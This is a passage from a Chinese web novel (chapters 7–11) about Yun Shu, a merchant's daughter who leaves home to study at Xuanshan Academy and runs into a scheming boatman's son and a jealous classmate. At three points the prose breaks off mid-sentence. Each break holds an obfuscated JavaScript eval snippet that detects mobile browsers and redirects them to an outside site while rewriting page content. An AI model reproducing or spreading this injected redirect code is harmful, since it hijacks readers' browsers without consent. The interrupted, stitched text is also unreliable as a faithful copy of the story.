云栾扯了扯嘴角,收回目光垂下眼眸,白净的面庞上却摆上了乖顺的神情,“姐姐……” 云竖罕见地沉默下来,发觉她可能脸皮真的很厚,很能忍耐。 她也不想再继续说什么,只是示意让人把云栾赶出去。 午后,她一如往常那样,拿着账本去往云母的书房,像是交代作业一样。 还没等她推门进去,云竖就听到里面的交谈。 带着疲倦叹气,还有愤怒。 在说什么呢? 关于之前的事情吗? 旁边的侍从被她抬手制止,云竖就站在门口听着,眼中的眸光越发诡异。 门突然被打开,云竖和要出来的人目光对视着,转而慢悠悠地看向云母。 她面朝我云母,咧嘴笑了笑,格外真诚,“母亲,我不想学这些了。” 还没等云母暴躁起来,直骂她孽女,云竖继续慢条斯理地说道,“我想去璇山书院,我想去当官。” “你简直是痴心妄想。”云母气得开始胡言乱语。 接着,云竖被赶了出来,被关在院子里几天不能出来。 云府的生活显然是富足的,甚至让人开始沉迷。 像阴暗角落里的苔藓一般,在腐烂浓稠的春泥里很容易扎根,带着浓厚的封建等级。 沉闷地,无法施展手脚地,龟缩在一个狭小逼仄的角落里,让人戾气顿生。 清晨。 侍从随着讯蓝穿过回廊,来到院子的门前,手上端着早点。 透过明晃晃的珠帘,他隐约便窥见那女郎坐在软榻上,手上拿着书。 袖口将手腕处的肌肤遮得严丝合缝,脖颈处却微微敞开了一点,面容冷漠清贵。 屋内带着浓稠的奢靡,按理说过于繁琐华丽,但看上去却理应如此。 “小心一点,莫要惹怒女郎。”讯蓝提醒他。 8. 第 8 章 “我知道了。”侍从抬脚进去,把早点轻轻摆放在桌子上。 云竖看向进来的讯蓝,“今早上来了谁?” 院子里的侍从少了许多,几乎跑到了前院。 讯蓝走上前,“家主先前资助了几个学子,今早上有两位上门拜访。” “学子?也是要考秋闱?” 讯蓝点头,“只不过考了两次还没过,今早上听管家说,家主又要找几个秀才进行资助。” “外祖母不是山长吗?母亲为什么不去找她?” 讯蓝摇头,“奴不知道。” 云竖把书放在一侧站起来,看了一眼旁边的随从,“我去前面看看。” 她起了兴趣,不想再待在这间卧室里。 “可还有两个月才能出去……”讯蓝说得结结巴巴地,“女郎。” 云竖侧身看他,突然笑了笑,“你自己在这待着就是。” 他愣了一下,还没等脑子转过来,女郎就已经出去。 院子里的人哪里敢真的拦住女郎,不过是表面上说说而已。 前厅热闹了许多。 云母在前厅接待着拜访的两位学子,说着场面话,完全不知道走廊处站着一个人。 云竖垂眸看着里面坐着的两个人,跟其他人不一样,起码在谈吐举止上与别人不一样。 她的四周讨论的都是街坊的八卦,哪家出了新首饰,哪家突然涨价,再其次就是吵架吐槽。 亦或者是学习如何和别人讨价还价,如何看人脸色,又如何看货收货。 屋内的账本堆了一叠又一叠。 云母似乎很欣赏她的学习能力,同时也警惕着她之前说的话。 好好一个继承者,不继承家业,偏偏要去嚼文嚼字,读死书认死理。 这种途径以及这种身份下,赚钱非常容易。 来寻云母的云父站在不远处,看着自己女儿直勾勾地盯着堂前的那两位女君,看上去很感兴趣的模样。 他的心跳都突然停拍了一下,甚至有些站不稳。 他被扶住,死死攥着袖子,瞪大了眼睛。 云父急急走上前去,深吸一口气,把人拉到了一旁。 “你站在这做什么?”他的声音有些压抑,攥住她手臂的手都在颤抖。 难不成真喜欢女色不成?原以为赶走了后院的男子,她真的清醒了,可如今呢?那般看着那两个女人做什么? 一个继承者喜欢上了女人,真是荒唐。 “来看她们啊。”云竖颇为无辜道。 “父亲觉得她们怎么样?” 云父说:“什么怎么样?” “跟身边的人不一样。”她语气轻柔,露出向往,“跟这里的一切都不一样。” 这里虽然富足安逸,却让人沉闷无趣,无法真正地喘过气来,甚至觉得四肢无法伸展。 他突然气笑了,气地浑身无力,被旁边的侍从扶住,低声呵斥道,“你敢!” 云竖沉默了一下,缓缓垂眼,“父亲?我只是想去书院而已,又不是去一辈子,我还会回来的。” 说不定过了一年半载,她就被打击得回来了,随后老老实实地做事呢? 万一她成功了呢?对云府不是好事吗?有官府照拂,也不需担忧被刻意压榨。 “你母亲不会答应的。”他语气轻缓,“我也不会答应。” 他只有她一个女儿,对此所萌生的掌控让他不想让她远离。 去什么书院?他嫁给了商贾,他生的孩子自然也没有机会参加科考,与其浪费时间去那,不如好好待在这继承家业,再娶夫生子。 “不要再想这些好不好?”他期盼地盯着自己的女儿,希望她给自己一个准确的回答。 云竖愣了一下,语气平静道,“如果你们都不答应,也不可能管我一辈子。” “我不想再继续这样下去了。之前是我的脑子不清醒,现在不一样了,我只想找一个感兴趣的方式去活。” 云父皱眉,怀疑她的叛逆期是不是越发延长了,什么感兴趣的方式,若没了继承者的身份,还去谈什么感兴趣的方式? 除却刚刚荒唐的想法,云父没有急着去打消她的想法。 “你想去也可以,你能确保你回来后就会老实下来,去娶夫去接管事务?” 听到这个话,云竖哪里会去否绝。 那都是回来后的事情。 到时候娶不娶夫对于现在而言甚至无所谓。 “父亲是答应了吗?”云竖又抬头去看堂前,那里依旧没什么动静,不知道在说什么。 很快里面的人站起来,云母起身送人。 她一出来,就看见长廊处站着夫女两人。 旁边出来的两人目光也看向云竖,她们微微颔首,告别云母就离府。 “那还劳父亲告知母亲,我这就回去收拾行李。” “收拾行李去哪里?” “去璇山。”她含糊地说道。 说完她就抬脚离开,显然不想在云母面前再说一遍这个。 她走得很快,很快就消失在云父所能看到的地方。 旁边的侍从显然懵了,“主君真要让女郎离开吗?” 太荒唐了。 “等妻主问起来,就说是去外祖那待几天。”他想了想,“去挑几个长得好的侍子,今晚上送到她屋内。” 不过是一时兴起,说不定待不了几天就回来了。 那书哪里是那么容易读进去的。 能进璇山书院的人多多少少都有底子,里面要求的悟性才学都颇高。 即便她外祖是山长,到时候一样待不下去。 科考哪里那么容易,否则岂不人人都是状元。 子漾幼时便读不进去,都需要被按着写字识字。 云父几乎没有任何担忧,又开始着手去挑选她之后的夫郎。 “好生看着那云栾。”他声音冷漠道。 他绝不允许他女儿的地位被一个低贱之人生出来的人所动摇。 夜里。 洗漱后,云竖便瞧见了送到屋内的几个侍子。 如今正处春季,但夜里穿薄衫显然是不明智的。 她不明所以,“下去吧。” 外面的讯蓝连忙进来,支支吾吾地说,“这是主君送来的。” 云竖看着眼前的三个人,突然笑了笑,“都下去,不会有人责怪你们。” 她没有再维持自己之前的形象,毕竟她明天就会离开。 行李已经准备好,去璇山书院也只需要半天的时间。 下午遣人去送了信,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319750|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竖自然也担忧自己进不了璇山。 可有关系可用,为何不用? 几人沉默了一下,随后乖顺地退下去。 讯蓝把他们带到偏房,女郎没有赶走,他们的身份自然也算是通房。 翌日。 云栾扑了空,得到的消息是云竖去拜访祖父。 她沉默了一下,没说什么就原路返回。 说起来,她父亲也是从璇山书院出来的侍子,是主君带过来的陪嫁。 主君有孕时,她父亲就成了母亲的侍夫。 隔江的道上,云竖只背着包袱站在那等船。 岸边只有零星几人。 她只一个人来,什么人也没带。 发带被风吹得飘了起来,碎发也遮住了眉眼。 她微微偏头,就看到了靠近的小船。 “这位女郎,要上船吗?” 说话的人是一个少年,面容素净,声音也细细地很好听。 撑船的人是一个中年女人。 等船靠近,云竖上了船。 从岸边到对岸,需要十几分钟。 少年给她倒了一杯茶,柔顺的发丝垂散在肩上,好奇地盯着她。 “女郎是要去璇山书院吗?” 他盯着眼前显然富足的女郎,轻轻抿嘴询问。 “嗯对。” “女郎若下次还要乘船,记得再来找我们。我叫谢枝,那是我的母亲。”他笑得清纯,乞求期盼地希望眼前的人客人能够照顾他的生意。 “等待了夏日,我会为女郎摘莲子赠予你当作报酬。” 这种话对于富裕的女郎而言,显然稀奇。 她随口应了下来。 谢枝说了几句,就坐在了船头,拉开与女郎的距离。 十几分钟的时间显然有些长。 少年清了清嗓子,唱起了江南民歌,语调轻柔甜蜜,婉转柔和。 他坐在那,腰间的布料被塞得紧实,腰肢纤细,脖颈处也白晃晃地。 江雾霏霏,江面犹如一条青色的丝带一般,清幽空灵。 她眼前不由得晃了晃,安静地听着歌调,眸光越发明亮。 船停留在岸边,云竖将银钱递给船家,躲在女人身后的少年羞怯地盯着她,面容绯红,声音轻柔,“女郎记得刚刚说的话。” 江面上,谢枝的发丝被风吹得飘了起来,一袭绿罗裙,素净犹如美玉的面庞朦胧美艳。 随着船离开,云竖这才抬脚上山。 四周绿意盎然,杂草丛生,露珠打湿了她的衣摆,连带着濡湿了她的发尾。 云竖的面容变得柔和起来,连日的休养让她看上去清贵温和,不似纨绔。 青石板铺着上去的路,不知名的红花点缀着绿叶,婉转空灵的鸟叫陆陆续续地响起。 她抬脚不小心踩碎了枯叶,发出吱呀的声音,抬眸就看见不远处有人下来。 “这个时候怎么还有人上来?” 那下来的两人看了云竖一眼,一边下去,并没有跟她搭话。 来到书院前,上面挂着牌匾,在外面看向里面,根本不知道里面是何规划,有何建筑。 “是里面的学子吗?” 她摇头,从怀里取出了信件。 很快地,她被迎了进去。 9. 第 9 章 这里很好。 这是她的第一印象。 这里没有人认识她,除了她名义上的外祖母。 她穿过长廊,来到了书院的南边。 这是她的外祖母所居住的地方。 她推开门,就见着两鬓有些发白的女人。 “子漾这么快就来了吗?”她率先开口,“几年不见,已经这么高了。” 虽然云竖不过堪堪17岁,她的身高已经达到了一米八几。 不像之前那样瘦,现在看上去正常许多。 “外祖母,我想来这读书。”云竖第一句话就把自己的目的说了出来。 “你母亲愿意?” 她脸不红心不跳地点头,“她说随我,说我年纪还小。” 这个年纪的人基本是已经娶夫了。这是谢真第一个冒出来的想法。 之前就听说这几年她开始胡闹起来,但到底不大,也随她去。 可现在怎么一个想法一个想法换。 17岁了,跑到她这里说要读书。 谢真示意旁边的人离开,把人领进屋子里,“要读可以,但是别懈怠,要读就得认真读,也不能打扰别的学子。” “我等会儿让人带你去住处,行李只有这一点吗?” 云竖点头。 “那等会我再让人送点东西过去,你就熟悉一下四周就好。” 谢真一人住在这,因为她的夫郎早已经去世,也没有什么侍夫。 她示意云竖自在一点,又绕过屏风取出一个木盒子。 木盒子里摆放着一枚燕形的青玉。 “本想去年给你,一直没有机会。” 谢真递给她,“莫要跟人起冲突,到时候我可不护着你。” 她接过来,笑眯眯地把玉佩戴上,“我有分寸的。” 饭后,云竖又跟在她后面四处逛逛。 这个时候没并没有多少人,几乎回到了自己的住处歇息。 远处是高大的松柏,附近回廊内挂着裱好的字画,通过窗棂见亭台,水池,竹林,青瓦白墙。 云竖的目光缓慢地挪移,眸光越发亮,慢慢跟在谢真后面。 “山长。” 有两个人特意从回廊处走过来,穿着湖蓝色的衣袍,身上素净,眉眼疏朗。 两人行揖,其中一人却直接看向了云竖,目光炯炯,“山长这是新收了学子吗?” 谢真侧身看了一眼云竖,见她浑然不在意且毫无所觉的模样,惯是被她儿子宠坏了的模样。 她点头,“她愚钝如牛,偏要来我这蠹书虫。” 两人神色微变,刚刚要问的话咽入口中,眉眼很快浮现淡淡的鄙夷和嫉妒。 她们轻轻地微笑着,带着恭顺,“想来这位女君定有过人之处,否则怎可入山长的眼中。” 云竖没说话,显然不大清楚这是什么情况。 她若要出声,该如何称呼外祖母呢?直接唤山长? 她们余光注意着云竖,见云竖看向山长,眸中带着轻微的不满,举止间毫无该有的恭顺。 谢真又对眼前的两人疏离道,“我先走了。” 云竖跟在她的身后,侧身若有所思地看了一眼后面站着的两人。 “这是什么情况?”她好奇问道。 “后面你不就知道了吗?”谢真突然笑了笑,“若被欺负了,记得来找我。你来这总不能没得到什么就回去了,你父亲定要来说骂我不成。” 谢真显然认为云竖待不了多久就回去,毕竟她也知道云竖完全是个书蒙子,只识字,对于文章诗词更是一窍不通。 即便这几年有了长进,却也待不了多久。只是来玩玩而已,但也不能让她胡闹来了,又胡闹回去。她也要收敛收敛脾气,知道天高地厚,人也要沉稳一点。 听到父亲,云竖含糊地应下来。 什么欺负,她受到欺负不会欺负回去吗?若还来找她打小报告,跟几岁孩童有什么区别。 “累了吗?” 她摇了摇头,“还好。” 整顿休息了一日。 云竖换上了书院特有的服饰,头发也只是发带系着。 她被带到了屋子里,手上的书本跟她之前看得差不多。 屋内陆陆续续进来了一些人,三两成群,走路时都还在讨论什么,行为举止颇为娴熟。 她们不着痕迹地略过云竖,思考着这人是哪里来的,之前从没有见过。 现在也不是招生的时候。 源源不断的目光投放在她的身上,云竖微微蹙眉,索性不再看进来的人,反而转头看向窗外。 她的指尖无意识地摩挲书本的表层,手腕处的玉镯若有若无地隐现,佩戴的玉石皆为上乘,连鞋子也镶嵌珠玉。 粗粗一看,又是哪户富贵人家的女郎。 靠关系进来的。这种想法很快浮现在众人的脑海中。 这里不乏有人是出身好的,但为了彰显自己的才气,腰间也只会佩戴玉牌。 “昭鹤。” 那人侧身看了看身旁的昭鹤,视线又回到云竖的身上,可被注视的人显然并不在意。 “你瞧瞧,这是不是昨日祁连祁春说的那人,听说跟山长关系很密切。” 叫昭鹤的人侧目斜视,“你说,山长要收她作弟子吗?” “你不觉得她有些怪怪的吗?” 褚绫撑着手,又说不上哪里怪怪的,对着昭鹤轻轻微笑,语气很低,带着柔柔的腔调,“你该让她知难而退。” “这可是一个很好的机会,很好地在山长面前露脸的机会。” 夫子姗姗来迟,严厉地说,“都安静下来。” 屋内瞬间安静下来,只能听到夫子的声音。 途中偶尔有几人站起来,不余遗力地发表。 云竖很快把昭鹤这两个字记在了脑子里,她的目光很正常,同时又让人不得不注意。 昭鹤坐下来,余光投向那人,莫名地开始关注。 是个废物吗? 昭鹤想到这里,嘴角不由得上扬,很快找到机会张口开始针对。 “夫子怎么不问问新进来的同窗?” 一个显然是靠机会进来,同样外貌又很好的家伙被刁难,随后露出难堪的神情,众人期待地看了过去。 每个人的脸上神态不一,目光却都透着相同的含义——是什么水平呢? 四周的恶意不假思索地拢靠过来,像是一条长长的触角想要穿透表层的肌肤。 靠坐在窗边的云竖站起来,可以看到的半张脸带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319751|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着透明,褶皱的衣摆倾下来。 起码举止是合格的。 她的话很简单,众人却感到遗憾。 她的话简单到让人觉得不上不下,身体像装满液体一般骤然裂开,顿时萎靡一下,不免挫败。 她们收回目光,不再注视她。 课堂结束后,她们陆陆续续离开。 “听听你的声音,多难听啊。” 褚绫跟昭鹤一同离开,走到长廊,慢悠悠地说。 昭鹤嗤笑着,突然顿了顿,“你不是也想这样吗?” 她们两个没有继续说话,一同看向不远处的云竖,以及站在旁边的山长。 “感觉怎么样?”谢真问道。 “还好。” 云竖的书被谢真拿过去,粗粗翻看着,随即合上。 “跟得上吗?”她又继续问。 “还好。” “什么时候开始学的?”谢真有些稀奇。 “好早了吧。”她含糊地敷衍过去,“跟得上,只不过没有她们言辞准确。” 谢真:“也不必这样,夫子对你的评价挺好的。” “您不用安慰人,我什么水平我知道的。” 谢真呵呵笑了两下,抬脚下了阶梯,“怕什么,到时候来我这里,我好好教你。” “还有一年半的时间,说不准就有机会了呢?”她挥了挥手上的书,“但是你母亲真的同意了吗?” 云竖不自觉抬手摸了摸鼻尖,看向旁处,就瞧见了走廊处的两人。 她收回目光,颇为诚恳,“真的同意。要是不同意,我现在就不在这里了。” 见两人走远,昭鹤心中越发堵闷,紧抿着唇,一句话不说就拂袖离开。 褚绫停在原地,脸上怪怪的。 怎么感觉山长跟云竖长得有些像,又有点不像。 与外祖母分开,云竖回了自己的住处。 这里原本是提供给夫子居住的房间,但房间还算宽裕,谢真便让人收拾,叫她住了进去。 她把书放在桌子上,眉宇间带着一丝疲倦。 云竖看着手上的玉镯,有心想要取下来,可唯一的办法就是将其破碎。 她没再关注手上的白镯,关上门,打开窗户,任由外面的风吹进来。 院子外栽种着竹子,成群在一块,风一吹,就能听到叶子沙沙的声音。 屋子内的摆设颇为简单,即使昨日山长让人搬了一点东西填充。 云竖带到的包袱里只有衣裳,但只能在不上课时才能穿上。 她取出里衣,将脱下的外袍放在屏风上,又将头发用发带束缚起来。 碎发散乱在她的额眉,身上的衣裳也接连有些乱。 洗浴过后,云竖只穿着白色的里衣,披散着头发坐在案桌旁边,点燃了熏香。 桌子上的书本被打开,上面有她今天留下的笔记。 这些对云竖不难,她在云府待的几个月也一直在看书。 将大殷的国史看完,又开始翻看文章诗词,更甚至让人收集时兴有名的文章。 看过一两遍就已经将内容记下。她上辈子就是搞文学的,该有的常识都有,该知道的八股文也会写。 白瓷瓶里摆放着红花,不知道是谁送来的。 10. 第 10 章 蜡烛被一根一根的点燃,窗户重新被关上。 她的衣领微敞着,随着她弯腰捡起掉在地上的簪子,发丝也垂落下来。 很快地,她发现角落里有东西。 她掀开纱幔,便看见躲在那瑟瑟发抖的幼猫。 云竖蹲下去把猫抱起来,又取过毛毯裹着它,检查它的下半身。 那里很正常,没有出血。 脖子处也系着绸带,应该有人养。 屋门突然被敲响,云竖随意扯过外袍披上去开门。 这个点会是谁呢? 一个穿白底黄衫的少年眼睛瞪得大大的,见到她面容都慌张了一些。 “我看见猫往你屋里跑了,你有见到我的猫吗?” 云竖愣了一下,“你等一下。” 她进屋去把猫带出来,又先整理了一下自己的衣着,这才走出来将被裹着猫送到少年的手里。 她斟酌了一下,“你怎么会在这里?” “我来找姐姐的,山长叫我先住在这一晚,明天再回去。” 她没继续问,“你回去小心一点。” 天色昏暗,带着一丝深青色作底色,月亮红黄湿晕。 门口旁边的竹子轻轻摇晃,云竖的脸被黑影笼罩,隐隐约约地,又能看清楚她的脸。 五官稠艳,皮肤润白,眉眼温和,衣着又松松散散地很是惑人。 少年脸红了一下,抱着怀里的猫,眼睛直勾勾地盯着眼前的人,心中欢喜,连带着嗓音也很软,“我叫苏越,你叫什么?” “云竖。”她看了一眼四周,“已经很晚了,你该回去了。” 少年也有些犹豫,又好奇地问她,“女君是夫子吗?” “不是。” 苏越没再问下去,怔怔地看着她这副犹如白玉却生艳的模样,披散着头发,领口又松散,透着冻腻的肤色,看着心直痒。 身形黏黏地几乎要溶化在黑夜里,浅色的眼睛却又如烛火一般轻微摇曳着。 他的眼睛滟滟的,小声道,“那我先走了。” 他小步走回去,还帮忙关上了门。 听动静,他就住在附近。 云竖关上门,吹灭了靠近门的烛火。 一连几天,云竖都独来独往。 她很安静,起码在学堂里从来不主动与人说话,总是低头看书。 放松休息时,她也只是撑手看向窗外发呆。 课上时,除了叫昭鹤的人莫名其妙地针对她,再无任何问题。 还没等她在书院遇到什么刁难,云竖就见到了眼熟的人。 讯蓝见女郎来,“女郎,家主说让你回去。” “你回去同她说,没待够我是不会回去的。” 讯蓝支支吾吾地回着,“可家主说,你不回去,到时候她就抓你回去。这里简陋,女郎应该也住不舒服,还是回府上吧。” 云竖沉默了一下,“你回去说,我过几日回去。” 过几日夫子休息,她们也没有课上,可随意安排时间。 讯蓝只能先应着。 “你一个人来的?” 他摇了摇头,“还有旁人,主君派我们送东西给山长,送完东西,她们就在书院外等着了。” 只不过他是女郎屋里的侍从,他过来好说话一些,免得女郎发脾气全把她们赶走。 他又走到桌子旁边,“这是特意给女郎做的吃食,还有主君送来的衣裳银钱,怕女郎住得不舒服,又让人重新准备了床榻上的被褥。” 讯蓝看了看四周,觉得真的很简陋。 没有舒服的丝绒,柔滑的软缎,也没有熏香热茶,屏风也简陋,还有那床上的帷幔,寡淡单薄。 连家具的材料也极为简朴。 “女郎若不打算回去,也该让人备置点东西。” “时辰不早了,你该回去了。”云竖忽略掉他说的话,“快回去。” 讯蓝低低应了。 随着讯蓝离开,云竖站在门口,看着门口的人等待汛蓝过来,又一同离开。 她没想太多,只是进屋继续看书,只不过总在思考如何说服云母。 怎么说服呢? 几天后,正准备下山的云竖这才意识有些不对劲。 旁人看她有些不对劲。 尤其是那昭鹤,活像是要扒了她的皮一样。 长廊处,云竖盯着拦在自己面前的人,完全没有心思跟她说什么,只想赶快下山。 附近都有人,时不时把目光抛向这里。 昭鹤见人朝她走过来,越来越近,不见停下来。 见人要越过自己,昭鹤抬手攥住云竖的手臂,用力把人按在柱子上,眉眼带着难言地焦躁。 随即清脆的声音响起来,有东西掉在了地上。 云竖愣了一下,下意识转动有些刺痛的手腕,抬眸看向按着自己的人。 她微微蹙眉,“你有病吧。” “你跟山长说了什么?” 云竖歪头避开她尖锐的逼问,抬手用力推开她,又低眸看了看自己的手腕。 “什么说了什么?”她俯身把破碎的手镯捡起来放在手帕上,随即包裹起来。 “我难不成我还说你坏话了不成?”她站起来,“昭鹤,我为什么要说陌生人的坏话?我既与你不相往来,又无任何愁怨,之前可都是你来找我麻烦。” 云竖提起半截玉镯,“这是我家传的镯子,你该如何赔我?” “赔你?”昭鹤目光紧紧盯着她,“陌生人,无任何愁怨?若不是你,我早已经成了山长的学生,得了拜贴,若不是你,我岂会现在还在这里?” 四周听不到任何杂音,附近的人都停步下来看向长廊处,即便没有注意到,也被别人这种行为所吸引。 经过的孟昂好奇地盯着,扯了扯旁人的袖子,“这是做什么?那昭鹤怎么和人吵起来了?她不是一向高傲得很吗?” “这再高傲,有人抢饭碗也不行啊!那家伙送礼,山长看上去答应收她为学生,昭鹤都跟在山长后面多久了,眼看着山长松口答应。”旁边人唏嘘,又扯过自己的袖子抚平褶皱。 “那云竖水平不高不低,做这种小动作,昭鹤当然不服。” 孟昂有些懵,感觉这个名字怪耳熟的,眼下又继续观看那边,想着两个人会不会打起来。 在柱子遮住一半身上的云竖往哪边看,哪边都有人,又把目光看向眼前愤愤不平, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319752|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑然没了理智的人。 她也没再继续管什么手镯不手镯,对于她刚刚的话更是半分不懂。 “你要想继续被人当猴看,我可不管,我先走了。至于你刚刚说的什么,你可自己去问山长,这跟我可没半点关系。” 云竖的话语很正常,不带任何情绪波动,仿佛是她自己在闹事一般。 什么拜贴,什么学生?外祖母可半分没跟她提及。 她一个好好的外孙女,好好的这个不当,当学生?她母亲可得拧着她耳朵关在院子里。 她匆匆丢下这几句话,也不管昭鹤继续想强留的动作,直接推开就抬脚离开。 山下的船不知道还在不在。没赶上又得等上一个时辰。 聚在旁边的人唏嘘着,不知道怎么人就走了。 那昭鹤被推在地上,偏偏又不起来,头发也乱了,眼眸通红。 她们也不敢继续看这种热闹,哄得一下全部散开。 急着下山的云竖直接跑了起来,下山时险些撞上了人。 她被扶住,那个人显然不理解云竖着急的行为,“你赶着吃饭呢?下山跑什么?” 山林里红花簌簌地掉着,连青石板上也残留了一些,带着泥土的腥气。 “抱歉。”她呼吸有些乱,微微俯身行揖,发丝也垂在肩上散乱分开,“我下次会注意的。我还有事情先走了。” 苏洄微微蹙眉,缓缓松手就见人又匆匆离开。 她没有穿书院的服饰,反而是世族女君的模样,任谁看了都知道她地位不低。 书院里不少人都会奉承她。 昭鹤,褚绫,还有她。 苏洄又低头理了理自己的衣摆,没管刚刚遇到的人,继续上山。 进了书院,她发现有些奇怪。 这种时候,按理说很多人都会进进出出。 毕竟这种时候可不多,多买点书籍,买点吃食都是好的。 穿过拱门,苏洄踩着台阶上了长廊,就发现昭鹤面无表情地站在那里。 “你站在这做什么?吹风呢?还是闲得没事干?” 她又细细上下打量昭鹤,语气微微上扬,“你被人打了?” “没有。” “我听人说,你们那有个叫云竖的,她住在哪?” “你找她做什么?”她声音莫名地阴测测的。 “我弟弟托我找她,说她多么好看,直闹着我带他再见一面。”她顿了顿,扯了扯嘴角,透着不屑鄙夷,“竟还闹出想嫁人的念头。” 她在书院里可没听说过什么人叫云竖,即便有,定然是个不出名且地位低的人。 一个世族贵卿,闹着嫁给平民,开什么玩笑。 见昭鹤抬脚离开,苏洄拉住她,“诶,你先告诉我人在哪里啊?” “自己找去。”她挥开苏洄的手,声音冷冷的,冰得冻人。 “这谁惹你了?我可没惹你。” 山下。 云竖原以为已经没了船。 她盯着眼前的人,“谢枝?” “女郎?真是巧。”谢枝回头,眸光微亮,“女郎可要乘船?” 他笑得很是清纯,白净的面庞不带一点晦暗的神态。 11. 第 11 章 “女郎是打算去置办一些东西吗?” 谢枝低头理了理自己被风吹乱的发丝,抬眸好奇地询问。 “不过女郎要早些回来,晚了就没有船了,只能绕山路走回去。” 她随意嗯了几声,坐在那跟个木头桩子和江岸边死板的山一样,他不说话,她就一直沉默。 跟她的外貌毫不匹配。 云竖想着不久前发生的事情,思前想后也没有想到与她有什么关系。 她没有主动惹事,接近一月的时间一直都独来独往,也鲜少去山长那边。 送礼?学生? 云竖不再思考,这些都是回来之后才能得到的答案。 她想到袖带里还藏着摔碎的镯子,不由得心虚弯腰抿唇,身后的发带也跟着弯了模样,跟着头发分离在肩膀旁边。 见她跟个古板的木头一样,他咬了咬唇,不知道为何是这样。 谢枝凑过去,带着荷花的香味,水润的眼眸蓦然闯进她的视线。 “女郎是读书读呆了不成?”他轻声嘟囔着,好看纤细的手在她眼前晃了晃。 “我见旁的女君一上船都热闹得很,不是说诗词就是说文章,再不济就是哪位夫子责怪了她们。怎的女君这般沉迷,是最近不开心吗?”他压低声音,似乎怕自己的母亲听见。 她愣了愣,下意识拉开距离,“只是喜欢安静而已。” 刚说完这句话,眼前的少年就摆上了不自在的神色。 他呐呐道,“是我太吵闹了。” 谢枝又从怀中取出如意结,“这是我自己编的如意结,一时间做得有点多,卖出去还剩下几个,送给女君当个好意头,能心满意足,万事顺利。” 云竖有些犹豫。 “虽然是不值钱的。”他脸上带着沮丧,“女君能收下吗?” 两人距离拉开了半米,坐靠在船边缘的云竖抬手收过来,又取出银钱给他,“我也不能平白收下让你白付出时间,权当是银货两讫。” 谢枝面上呆滞了一下,勉强地笑着接过来。 船很快停了下来。 云竖的身影消失在岸边。 船上一直不说话的女人突然张口,“你不是说有把握吗?” 坐在那的谢枝没了刚刚天真无邪的模样,冷下脸来,“谁家是个蠢的,这才见面几次?” “你年纪已经不小了。”女人提醒他。 谢枝紧紧揪着自己的衣裳,瞳孔缩了缩,只垂着头不说话。 他想找个家里有钱的女人当妻主。 可思来想去,唯有去攥住那书院里的人。 比如云竖,再比如其他女君。 说不定他就飞上枝头了呢? 他再也不想去过那苦日子,一眼就看到头的日子,掰着指头过日子,什么喜欢不喜欢,只有银子才是真的。 云府。 她才刚刚踏进府门,就被侍从簇拥着去了云父的院子里。 走在木桥处,她随意瞥了一眼,就见着屋檐下不知道什么站着的云栾。 云栾死盯着自己,活像是她又对不起又欺负她了。 她匆匆看过一眼,转眼间就忘记,下了木桥去了长廊。 院子里很葱绿,新长出来的嫩叶像是丰盈的果实一般,轻轻一掐就能透出点绿来。 即便是一月多没回,府上的模样还跟之前一样,没有任何变化。 “父亲。” 她只穿着京绿色的衣袍,身上寡淡的很。 从屋内出来的云父迎过去,微微蹙眉,“怎么还瘦了?” 他抬手摸着她的脸,“你外祖母还苛责你了不成?” 她呐呐道,“母亲呢?” “还知道问这个?去了也不回来一趟。”云父收回手,把她拉进屋子内。 侍从们连忙倒水,又是端时令的水果,又是从后厨端来刚做好的点心。 云竖闭口不言书院的事情,只顺着云父的话回。 “你母亲若不让你去,你打算怎么办?” 云竖微微握紧手上的茶杯,声音低低的,“腿长在我身上,如今母亲身体也康健,也不会急着我上手,多读点书又不会怎么样。” “不是还有云栾在吗?之前没有我一样好好运转,如今多我一个少我一个也没什么影响。” 听到她这没出息的话,云父拧眉,“什么云栾?你难道指望她有良心,还认你做亲姐姐不成?” 云竖放下手上的茶杯,垂眸轻声道,“我没那个意思,只是觉得现在还早,不用着急。” “再说,我小时候,父亲也不是希望我能多读点书吗?还指望我跟外祖母一样。” 云父沉默了一下。 “父亲帮帮我吧,帮我在母亲说点好话。我不会胡闹了。” 她垂着眼,有些凌散的头发披散在身后,身上的衣裳素净寡淡,连同那张润白的脸一样带着可怜。 活像是从哪里乞讨回来。 人也清瘦了一点,连性子也被磨去了几分。 云父软了态度,“回去换身衣裳,不然你母亲回来又该骂你了,她现在在外面,差不多也该回来了。” 她忍不住露出几分笑意来,抿唇应下。 离开云父的院子,云竖脚步慢下来回到了自己的住处。 她换了一身衣裳,又将破碎的玉镯放在一侧。 手上没有戴什么东西,显然轻松多了。 “女郎不戴扳指吗?” 